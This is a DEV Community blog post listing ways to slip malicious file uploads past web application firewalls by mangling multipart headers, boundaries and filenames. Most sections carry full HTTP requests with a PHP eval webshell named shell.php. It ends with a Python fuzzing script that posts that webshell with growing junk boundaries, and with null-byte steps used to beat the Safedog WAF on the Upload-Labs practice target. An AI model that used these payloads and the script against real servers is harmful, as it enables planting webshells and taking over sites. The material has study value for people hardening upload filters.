DEV Community

Cover image for A Comprehensive Overview of WAF Bypass Methods for File Upload Vulnerabilities
Excalibra
Excalibra

Posted on

A Comprehensive Overview of WAF Bypass Methods for File Upload Vulnerabilities

Analysis of HTTP File Upload Packets

File upload is fundamentally a client-side POST request wherein the message body contains upload information. The front-end upload page must specify an enctype of multipart/form-data to permit a successful upload.

A typical file upload packet resembles the following:

POST http://www.example.com HTTP/1.1
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryyb1zYhTI38xpQxBK

------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="city_id"

1
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="company_id"

2
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="file"; filename="chrome.png"
Content-Type: image/png

PNG ... content of chrome.png ...
------WebKitFormBoundaryyb1zYhTI38xpQxBK--
Enter fullscreen mode Exit fullscreen mode

The following characteristics may be extracted from the above:

  • The request header Content-Type exhibits these features:
    • multipart/form-data – indicates that the request is a file upload request.
    • Presence of a boundary string – serves as a delimiter to separate POST data.
  • The POST body contains:
    • Content-Disposition – a response header that indicates whether the content is expected to be displayed inline in the browser.
    • name – the name of the HTML form field referenced by this part.
    • filename – a string that holds the original name of the file being transmitted.
  • The value of boundary in the POST body is the value declared in Content-Type prefixed with two hyphens --, except for the final closing boundary.
  • The closing boundary appends two additional hyphens by default (in testing, removing the last boundary line does not prevent a successful upload).

Modifiable Elements in a File Upload Packet

  • Content-Disposition – generally alterable.
  • name – the form parameter value; should not be altered.
  • filename – the file name; can be modified.
  • Content-Type – the file MIME type; can be changed depending on context.
  • boundary – the content delimiter; can be modified.

How WAFs Intercept Malicious Files

Consider how one might design a WAF. Defence may be approached from several angles:

  • File name – parse the file name and determine whether it appears in a blacklist.
  • File content – parse the file content to detect whether it constitutes a webshell.
  • File directory permissions – typically requires a host-based WAF.

Currently, most common WAFs parse the file name; a minority, such as Chaitin, also inspect file content. The discussion below focuses on file‑name‑based interception.

The general process is as follows:

  1. Extract the boundary value from the Content-Type header of the request.
  2. Using the boundary, parse the POST data to obtain the file name.
  3. Determine whether the file name falls within an interception blacklist or outside a whitelist.

Having understood how a WAF intercepts malicious files, I classify common bypass methods into the following categories. A demonstration using the latest version of Safedog concludes the article.

Character Mutations

Quotation Mark Variations

Values in header fields can be enclosed in single quotes, double quotes, or no quotes at all, without affecting the upload outcome.

Content-Disposition: "form-data"; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php
Content-Disposition: form-data; name='file_x'; filename='xx.php'
Content-Disposition: 'form-data'; name="file_x"; filename='xx.php'
Enter fullscreen mode Exit fullscreen mode

It is also possible to omit the trailing quotation mark of the filename string, and the upload will still succeed.

Content-Disposition: form-data; name="file_x"; filename="xx.php
Content-Disposition: form-data; name="file_x"; filename='xx.php
Content-Disposition: form-data; name="file_x"; filename="xx.php;
Enter fullscreen mode Exit fullscreen mode

Case Modifications

The following three fixed strings may be subjected to case changes:

  • Content-Disposition
  • name
  • filename

For example, name may become Name, and Content-Disposition may become content-disposition.

Inserting Line Break Characters

Line breaks can be inserted between a field value and the equals sign; here the character [0x09] is used to represent a line break.

Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"[0x09]
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php[0x09];
Enter fullscreen mode Exit fullscreen mode

Multiple Semicolons

During file parsing, the presence of multiple semicolons may prevent the WAF from correctly extracting the file name, thereby enabling a bypass.

Content-Disposition: form-data; name="file_x";;; filename="test.php"
Enter fullscreen mode Exit fullscreen mode

Multiple Equals Signs

Using multiple equals signs within the POST content has no effect on file upload.

Content-Disposition: form-data; name=="file_x"; filename===="test.php"
Enter fullscreen mode Exit fullscreen mode

Altering the Content-Disposition Value

Some WAFs assume that the value of Content-Disposition must be form-data, which can lead to bypasses. In fact, Content-Disposition may be arbitrarily altered or left empty.

Content-Disposition: fOrM-DaTA; name="file_x"; filename="xx.php"
Content-Disposition: form-da+ta; name="file_x"; filename="xx.php"
Content-Disposition: fo    r m-dat a; name="file_x"; filename="xx.php"
Content-Disposition: form-dataxx; name="file_x"; filename="xx.php"
Content-Disposition: name="file_x"; filename="xx.php"
Enter fullscreen mode Exit fullscreen mode

Malformed Boundary Headers

The boundary can be mutated in the following ways without affecting the upload.

Normal boundary:

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111
Enter fullscreen mode Exit fullscreen mode

Malformed boundary variations:

  • The case of multipart/form-data may be changed:
  Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111
Enter fullscreen mode Exit fullscreen mode
  • Spaces may separate multipart/form-data and boundary, and arbitrary content may be inserted between them:
  Content-Type: multipart/form-data boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data x boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data abcdefg boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data a\|/?!@#$%^() boundary=----WebKitFormBoundarye111
Enter fullscreen mode Exit fullscreen mode
  • A comma may separate multipart/form-data and boundary, with arbitrary content inserted between:
  Content-Type: multipart/form-data,boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data,x,boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data,abcdefg,boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data,a\|/?!@#$%^(),boundary=----WebKitFormBoundarye111
Enter fullscreen mode Exit fullscreen mode
  • Arbitrary content may be inserted directly before the boundary string (feasible on PHP):
  Content-Type: multipart/form-data;bypass&123**{|}boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data bypass&123**{|}boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data,bypass&123**{|}boundary=----WebKitFormBoundarye111
Enter fullscreen mode Exit fullscreen mode
  • At the end of the boundary, a comma or semicolon may be used to separate and insert arbitrary content:
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111,123abc
Enter fullscreen mode Exit fullscreen mode

Sequence Reversal

Swapping the Order of name and filename

Because Content-Disposition must appear first, only the order of name and filename can be reversed. Some WAFs may expect name before filename, enabling a bypass.

Content-Disposition: form-data; filename="xx.php"; name="file_x"
Enter fullscreen mode Exit fullscreen mode

Swapping the Order of Content-Disposition and Content-Type

Similarly, the order of Content-Disposition and Content-Type can be exchanged.

Content-Type: image/png
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Enter fullscreen mode Exit fullscreen mode

Swapping the Order of Different Boundary Contents

The contents of different boundary parts may also be reordered without affecting the upload.

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
Enter fullscreen mode Exit fullscreen mode

Data Repetition

Repetition of Boundary Content

The file ultimately uploaded is shell.php rather than shell.jpg. However, if only the first file name is extracted, a bypass may occur.

------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
Enter fullscreen mode Exit fullscreen mode

The following variant also achieves a successful upload:

------WebKitFormBoundarymeEzpUTMsmOfjwAA
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
------WebKitFormBoundarymeEzpUTMsmOfjwAA;123
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
Enter fullscreen mode Exit fullscreen mode

Repetition of filename

The final uploaded file name is shell.php. However, because the file name is extracted by matching the first occurrence, regular expressions will typically match the first instance.

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";
Enter fullscreen mode Exit fullscreen mode

Data Overflow

Inserting Junk Data Between name and filename

A large volume of junk data may be inserted between name and filename.

POST /Pass-02/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf; 
filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
Enter fullscreen mode Exit fullscreen mode

Note: A semicolon must be placed after the large volume of junk data.

Inserting Junk Data into the Boundary String

The boundary string can contain arbitrary data (subject to length limitations). When the length exceeds what the WAF can process but the web server can still handle, the file upload may bypass the WAF.

POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close

------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="upload_file";filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9--
Enter fullscreen mode Exit fullscreen mode

Inserting Junk Data at the End of the Boundary

As mentioned previously, arbitrary data may be appended to the end of the boundary string; thus, a large volume of junk data can be added there.

POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf,bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close
Content-Length: 592

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
Enter fullscreen mode Exit fullscreen mode

Inserting Junk Data Between multipart/form-data and boundary

Since it is possible to insert any data between multipart/form-data and boundary, a large volume of junk data can be placed there.

POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close
Content-Length: 319

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
Enter fullscreen mode Exit fullscreen mode

Data Truncation

Carriage Return and Line Feed Truncation

POST request header values (not the header lines themselves) may contain line breaks, provided there are no blank lines. If the WAF stops matching the file name at a line break, a bypass can occur.

Content-Disposition: for
m-data; name="upload_
file"; fi
le
name="sh
ell.p
h
p"
Enter fullscreen mode Exit fullscreen mode

Semicolon Truncation

If the WAF truncates the file name at a semicolon, a bypass can be achieved.

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"
Enter fullscreen mode Exit fullscreen mode

Quotation Mark Truncation

PHP versions prior to 5.3 exhibit single/double quote truncation behaviour.

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"
Enter fullscreen mode Exit fullscreen mode

Null Byte Truncation

In a URL, %00 represents the ASCII null character (0x00), which is reserved as a special character; when encountered, reading is terminated. Here [0x00] denotes the hexadecimal null byte.

Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"
Enter fullscreen mode Exit fullscreen mode

Practical Demonstration – Bypassing Safedog File Upload Protection

Experimental Environment

  • Target: Upload-Labs (Pass‑1)
  • Database: MySQL 5.5
  • Web script: PHP 5.4.19
  • WAF: Safedog for Apache v4.0.3025

During testing, only the upload protection module of Safedog was enabled; otherwise, other modules could delete files from the target environment due to false positives.

Practical Case 1 – Writing a Fuzzing Script to Exploit Data Overflow

Given that the boundary string can accommodate a large volume of junk data, a fuzzing script was written to test whether the WAF could be bypassed.

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import requests
import random

url="http://hackrock.com:813/Pass-01/index.php"

def generate_random_str(randomlength=16):
    random_str = ''
    base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
    length = len(base_str) - 1
    for i in range(randomlength):
        random_str += base_str[random.randint(0, length)]
    return random_str

for i in range(10,8000,50):
    stri = generate_random_str(i)
    try:

        headers = {
            "Host":"hackrock.com:813",
            "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36",
            "Referer":"http://hackrock.com:813/Pass-01/index.php",
            "Content-Type":"multipart/form-data; boundary=----" + stri
        }
        payload = """
            ------""" + stri + """
            Content-Disposition: form-data; name="upload_file"; filename="shell.php"
            Content-Type: image/png

            <?php @eval($_POST['hack']); ?>

            ------""" + stri + """
            Content-Disposition: form-data; name="submit"

            上传
            ------""" + stri + """--

        """

        response=requests.post(url=url,headers=headers,data=payload,timeout=0.5)
        result = response.content
        print result
        print stri
        print "\n"
        #print payload
        #print headers
        if result.count('上传'):
            print "Length is : %s " % str(i)
            break
    except:
        print "."
Enter fullscreen mode Exit fullscreen mode

The script was written using Python 2.7; ensure a Python 2 environment and the required libraries are installed.

The test result indicated that a boundary length of 3710 characters was effective:

Although the file was not actually uploaded to the server (due to the target environment’s restriction), the Safedog WAF was successfully bypassed.

The crafted packet was then sent via Burp Suite:

The bypass was achieved.

Practical Case 2 – Bypassing Using Null Byte Truncation

The file was uploaded while intercepting with Burp Suite, and the filename value was changed to: shell.php;.jpg

The hex view was then opened (the semicolon’s hexadecimal value is 0x3b), and 3b was altered to 00:

The packet was sent.

The bypass was successful.

Top comments (0)